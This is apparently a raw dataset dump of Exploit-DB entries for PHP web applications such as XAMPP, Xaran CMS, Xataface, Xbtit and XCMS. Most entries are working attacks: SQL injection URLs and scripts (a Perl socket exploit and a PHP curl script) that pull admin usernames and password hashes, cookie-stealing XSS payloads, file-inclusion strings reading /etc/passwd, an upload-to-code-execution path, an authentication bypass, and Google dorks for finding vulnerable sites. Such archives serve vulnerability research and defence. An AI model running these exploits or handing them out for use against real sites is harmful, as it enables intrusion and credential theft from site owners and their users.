deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10391
Description: XAMPP 1.7.2 - Change Administrative Password
Type: webapps
Platform: php
Date: 2009-12-11
Author: bi0

Exploit:
# Title: XAMPP 1.7.2 Change Administrative Password
# Date: 11/12/2009
# Author: bi0
# Software Link: http://www.apachefriends.org/en/xampp-windows.html
# Version: 1.7.2
# Tested on: Windows XP / Windows Vista
# CVE : ()

                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/


[#]----------------------------------------------------------------[#]
#
# [x] XAMPP 1.7.2 Change Administrative Password
# [x] Author : bi0
# [x] Contact : bukibv@hotmail.com
# [+] Download : http://www.apachefriends.org/en/xampp-windows.html
#
[#]----------------------------------------------------------------[#]
#
# [x] Exploit :
#
#   At the older versions of xampp "xamppsecurity.php" was allowed
#   only for localhost but at version 1.7.2 i accessible by all
#
#   http://example.com/security/xamppsecurity.php
#
#   And you can change the .htacces user & pass and the phpMyAdmin pass
#
[#]----------------------------------------------------------------[#]

#EOF
Exploit-DB #15370
Description: XAMPP 1.7.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-01
Author: TheLeader

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
#
# Exploit Title: XAMPP <= 1.7.3 multiple vulnerabilites
# Date: 31/10/2010
# Author: TheLeader
# Software Link: http://www.apachefriends.org/en/xampp-windows.html
# Affected Version: 1.7.3 and prior
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
#
# -----------------------------------
 
I. File disclosure

XAMPP is vulnerable to a remote file disclosure attack.
The vulnerability exists within the web application supplied with XAMPP.

http://[host]/xampp/showcode.php/c:boot.ini?showcode=1

showcode.php:
<?php
   echo '<br><br>';
   if ($_REQUEST['showcode'] != 1) {
   echo '<a href="'.$_SERVER['PHP_SELF'].'?showcode=1">'.$TEXT['global-showcode'].'</a>';
   } else {
       $file = file_get_contents(basename($_SERVER['PHP_SELF']));
       echo "<h2>".$TEXT['global-sourcecode']."</h2>";
       echo "<textarea cols='100' rows='10'>";
       echo htmlspecialchars($file);
       echo "</textarea>";
   }
?>

showcode.php relies on basename($_SERVER['PHP_SELF']) to retrieve the path.
What $_SERVER['PHP_SELF'] actually does is retrieve is the path of the requested file.
basename() parses the last element of that path using "/" as a delimiter.

Traveling through the directory tree, though, requires the "/" character that is used by basename() as a delimiter.
Therefor directory traveling it is not achieved but it is possible to view file contents from any drive, and the XAMPP htdocs directory.

II. Cross Site Scripting

http://[host]/xampp/phonebook.php/"><script>alert("XSS")</script>
http://[host]/xampp/biorhythm.php/"><script>alert("XSS")</script>

It is interesting to see the same programming error lead to another security vulnerability.
Some PHP scripts in the XAMPP dir rely on $_SERVER['PHP_SELF'] for retrieving the "action" tag for HTML forms.
This can be exploited to perform Cross Site Scripting attacks.

biorhythm.php (line 75):
<form method="post" action="<?php echo basename($_SERVER['PHP_SELF']); ?>">

dork: "inurl:xampp/biorhythm.php"
Exploit-DB #46424
Description: XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-19
Author: Rafael Pedrero

Exploit:
<!--
# Exploit Title: SQL injection in XAMPP 5.6.8 (and previous)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Version: XAMPP 5.6.8
# Tested on: All
# CVE : CVE-2019-8923
# Category: webapps

 
1. Description
   
XAMPP through 5.6.8 allows SQL injection via the cds-fpdf.php jahr parameter. NOTE: This product is discontinued. Affected Product Code Base XAMPP 1.8.2 (and previous).
 
   
2. Proof of Concept
 
http://localhost/xampp/cds-fpdf.php?interpret=SQLi&titel=SQLi&jahr=1984%20%20AND%20sleep%285%29

   
3. Solution:
   
The product is discontinued. Update to last version.

Reference:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.19/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/

-->


<!--
# Exploit Title: Cross Site Scripting in XAMPP 5.6.8 (and previous)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Version: XAMPP 5.6.8
# Tested on: All
# CVE : CVE-2019-8924
# Category: webapps
 
1. Description
   
XAMPP through 5.6.8 allows XSS via the cds-fpdf.php interpret or titel parameter. NOTE: This product is discontinued. Affected Product Code Base XAMPP 1.8.2 (and previous).
 
   
2. Proof of Concept

First Request (not filter the characters's content): http://X.X.X.X/xampp/cds.php?interpret=<script>alert("XSS")</script>&titel=XSS&jahr=1984

or Request: http://localhost/xampp/cds.php?interpret=XSS&titel=<script>alert("XSS")</script>&jahr=1984

Second Request (to xss attack): http://X.X.X.X/xampp/cds-fpdf.php 

http://localhost/xampp/cds-fpdf.php?interpret=XSS&titel=<script>alert("XSS")</script>&jahr=1984

http://localhost/xampp/cds-fpdf.php?interpret=<script>alert("XSS")</script>&titel=XSS&jahr=1984

When cds-fpdf.php is loaded not filter the characters: <b><script>alert("XSS")</script></b></td><td class=tabval>

cds.php filter it: <td class=tabval><b><script>alert("XSS&quot</script></b></td><td class=tabval>
   
3. Solution:
   
The product is discontinued. Update to last version.

Reference:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.19/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/

-->
Exploit-DB #14469
Description: XAOS CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-25
Author: H-SK33PY

Exploit:
# Exploit Title: XAOS CMS SQL Injection Vulnerability            
# Date: 25/07/2010                             
# Author: H-SK33PY                      
# Software Link: http://www.xaos.it/
# Version: N/A
# Google dork : Powered by XAOS systems
# Platform / Tested on: linux
# Category: webapplications
# Code : [SQLi] & [BSQLi]


  [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0101010    
   0                                                       0
   1  Iranian Datacoders Security Team 2010
   0                                                       0
  [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0101010

#BUG:#########################################################################

After find bug on the sites , run this :

http://site.com/index.php?m=1[SQLi]

If you can not inject run Blind SQL Injection

http://site.com/index.php?m=1[BSQLi]



#############################################################################
Website : http://www.datacoders.ir

Special Thanks to : ccC0d3rZzz & all iranian datacoders members

#############################################################################
Exploit-DB #3298
Description: Xaran CMS 2.0 - 'xarancms_haupt.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-13
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Xaran Cms <= V2.0 (xarancms_haupt.php) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.xarancms.de
#[$$         : 149.00  EUR
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	Xaran Cms <= V2.0 (xarancms_haupt.php) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/xarancms_haupt.php?id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),konfiguration_benutzername,char(32,112,97,115,115,119,111,114,100,58),konfiguration_benutzerkennwort)%20from%20xarancms_konfiguration";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /letzte Aktualisierung: username:(.*?) pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/div>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-02-13]
Exploit-DB #38596
Description: Xaraya - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-06-26
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/60795/info

Xaraya is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Xaraya 2.4.0-b1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?func=modinfonew&id=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&module=modules&type=admin

http://www.example.com/index.php?block_id=7&func=modify_instance&interface=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&module=blocks&tab=config&type=admin

http://www.example.com/index.php?func=aliases&module=modules&name=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&type=admin

http://www.example.com/index.php?func=assignprivileges&module=privileges&tab=authsystem&tabmodule=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3
Exploit-DB #44622
Description: XATABoost 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-14
Author: MgThuraMoeMyint

Exploit:
# Exploit Title: XATABoost CMS Sql Injection
# Google Dork: inurl:php?id= Powered by XATABOOST
# Date: 02.01.2018
# Exploit Author: MgThuraMoeMyint
# Vendor Homepage: http://www2.xataboost.com
# Version: 1.0.0
# Tested on: Kali Linux
# SQL Injection Type: Union Based
# Example URL: http://localhost/news.php?id=[Injection Point]

Accept-Encoding: gzip, deflate
Referer: http://localhost/news.php?id=[Injection Point]
Connection: keep-alive
GET /xata/nonprofit/000026/css/custom.css.php?x=1c383cd30b7c298ab50293adfecb7b18
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/news.php?id=[Injection Point]
Exploit-DB #11852
Description: Xataface - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-23
Author: Xinapse

Exploit:
=======================================================
Xataface Admin Auth Bypass Vulnerability
=======================================================
#[+] Discovered by : Xinapse
#[+] Site          : firewire-security.com
#[+] Email         : admin@firewire-security.com

=======================================================
=======================================================

#[+] Vulnerability : Admin/database auth bypass vulnerability
#[+] Software      : Xataface - open source GPL, PHP, Mysql database
software
#[+] Vendor        : http://xataface.com
#[+] Usage         :
http://www.site.com/admin.php?-action=view&-table=Users&-cursor=0&-skip=0&-limit=30&-mode=list


#[+] Alert         : Most of the sites i tried running this software are
vulnerable, only a few used .htaccess
#[+] Dork          :"powered by dataface" "powered by xataface"
#[+] Description   : With this i could edit/delete/create records in the
database, create new admin accounts and view all the users and passwords.




#[+] Greetz        :firewire-security team, b10h4z4rd, g3org3
Exploit-DB #35833
Description: Xataface 1.x - 'action' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-06-07
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/48126/info

Xataface is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

NOTE (July 4, 2011): The vendor indicates that this issue affects versions prior to Xataface 1.2.6, while the reporter indicates 1.3rc1 and 1.3rc2 are affected. 

http://www.example.com/index.php?-action=../../../../../../etc/passwd%00
Exploit-DB #38938
Description: xBoard 5.0/5.5/6.0 - 'view.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-12-24
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/64619/info

xBoard is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

xBoard 5.0, 5.5, and 6.0 are vulnerable. 

http://www.example.com/xboard/view.php?post=[LFI]
Exploit-DB #11718
Description: Xbtit 2.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: Ctacok

Exploit:
####################################################
# Title     : Xbtit SQL Injection Vulnerability    #
# Author    : Ctacok                               #
# Homepage  : http://ctacok.ru/                    #
####################################################
   
####################################################
#  Vulnerable File : 
 /index.php?page=users&order=[SQL]&by=ASC
   
####################################################
#  ExploiT         : 
   
/index.php?page=users&order=flag+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--++&by=ASC

####################################################
Exploit-DB #12140
Description: xBtiTracker - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-11
Author: InATeam

Exploit:
# Exploit Title: xBtiTracker Remote SQL Injection Vulnerability
# Date: 10.04.2010
# Author: InATeam (http://inattack.ru/) via Dominus
# Software Link: http://www.btiteam.org/
# Version: xbtit v.2.0.0 - revision 559 and older
# Tested on: xbtit v.2.0.0 - revision 559
# Code :


<?php

$id = $argv['2'];
$name = $argv['3'];
$site = $argv['1'];
if(isset($argv['3'])) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
curl_setopt($ch, CURLOPT_COOKIE, "uid=$id+or+(1,1)=(select+count(0),concat((select+concat_ws(0x3a,id,username,password,email, 0x3a3a3a)+from+xbtit_users+where+username='$name'),floor(rand(0)*2))from(information_schema.tables)group+by+2);");
$result = curl_exec($ch);
preg_match("/(\d+:.*:[\w\d]{32}:.*):::/i", $result, $match);
printf("\nResult: %s\n", $match['1']);
}
else {
print("====================================\n
Usage: php btit.php URL ID UserName\n
Example: php btit.php http://site.com/ 2 admin\n
====================================\n");
}

?>
Exploit-DB #5991
Description: XchangeBoard 1.70 - 'boardID' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-02
Author: haZl0oh

Exploit:
######################
 #
 # xchangeboard 1.70 final and lower
 #
 #
 ######################
 #
 #Bug by: haZl0oh #
 #Dork: "Powered by xchangeboard"
 #info:you have to be an registered user to use it like this !!!!
 #there should be a lot more vulns there ;)
 #
 #
 #
 # credentials like passwords are saved as cookies .... :D
 ##
 ###
 ##
 #
 #PoC:
 #http://site.com/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/*
 #
 # #
 #
 #
 #######################
 #
 #Greetz to h0yt3r ,everiZzel & Mastermaefju
 #
 #######################
#######################

# milw0rm.com [2008-07-02]
Exploit-DB #39239
Description: xClassified - 'ads.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-07
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/68438/info

xClassified is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

xClassified 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/ads.php?catid=4%27a[SQLi]
Exploit-DB #36632
Description: xClick Cart 1.0.x - 'shopping_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-26
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51699/info

xClick Cart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

xClick Cart versions 1.0.1 and 1.0.2 are affected; other versions may also be vulnerable. 

http://www.example.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #4131
Description: XCMS 1.1 - 'Galerie.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-06-30
Author: BlackNDoor

Exploit:
#Author::   BlackNDoor | blackndoor@learntohell.net
#Homepage:: www.learntohell.net
#
#Script::   XCMS : CMS
#Version::  1.1
#Type::     Remote Directory Listing & Local File Include
#
#Source::   http://groupeclan.free.fr/XCMS.zip

#Bug::
   -> Files:

      /Module/Galerie.php.php

   -> vulncode:

      if(!isset($_GET['Lang'])) { $Lang="fr"; } else { $Lang=$_GET['Lang']; }
      if(!isset($_GET['Ent'])) { $Ent='false'; } else { $Ent=$_GET['Ent']; }
      include('Lang/' . $Lang . '.lang');  <--- Local File Include
      if($Ent)
      {
	$Nb = -1;
	$Dossier = opendir("../Images/$Lang/$Ent");  <--- Directory Listing


#Exploit::

   http://www.site.com/[path to XCMS]/Module/Galerie.php?Ent=../../../../../../etc/
   http://www.site.com/[path to XCMS]/Module/Galerie.php?Lang=../../../../../../etc/passwd%00

#thanks:: str0ke

# milw0rm.com [2007-06-30]
Exploit-DB #30603
Description: XCMS 1.1/1.7 - 'Password' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2007-09-22
Author: x0kster

Exploit:
source: https://www.securityfocus.com/bid/25771/info

Xcms is prone to a vulnerability that lets attackers execute arbitrary PHP code because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary malicious PHP code in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. 

<html>
<head>
<title>-XCMS Arbitrary Command Execution Vuln by x0kster -</title>
</head>
<body>
<pre>
- [XCMS All Version Arbitrary Command Execution Vulnerability ] -
- [Bug found by x0kster - x0kster (at) gmail (dot) com [email concealed] ] -
</pre>
<form name="pass" method="post" action="http://www.xcms.it/index.php?lng=it&pg=admin&s=cpass">
<input type="hidden" name="pass" value="[PII_REDACTED]" />
<pre>
Password : <input type="password" size="20" name="password_[PII_REDACTED]" />
Repete password : <input type="password" size="20" name="rpassword_[PII_REDACTED]" />
<input type="submit" value="Modifica Password" />
</pre>
</form>
</body>
</html>
Exploit-DB #4802
Description: XCMS 1.82 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-28
Author: nexen

Exploit:
#  _ __   _____  _____ _ __
# | '_ \ / _ \ \/ / _ \ '_ \
# | | | |  __/>  <  __/ | | |
# |_| |_|\___/_/\_\___|_| |_|
# XCMS <= 1.82 LFI & RCE Xpl
# Nexen rocked this one ;)
# LFIs
http://127.0.0.1/xcms/index.php?pg=admin&s=../../../../../etc/passwd\0
http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../../../../etc/passwd\0

# Hash disclosure
http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../dati/membri/[username].dtb\0

# RCE:
Doing RCE is more difficult, you must have an image with a php code binded (you can use edjpgcom to do that)
now upload that image on your panel, and exploit rce trough lfi:

http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../uploads/avatar/[your_username].jpg\0

# milw0rm.com [2007-12-28]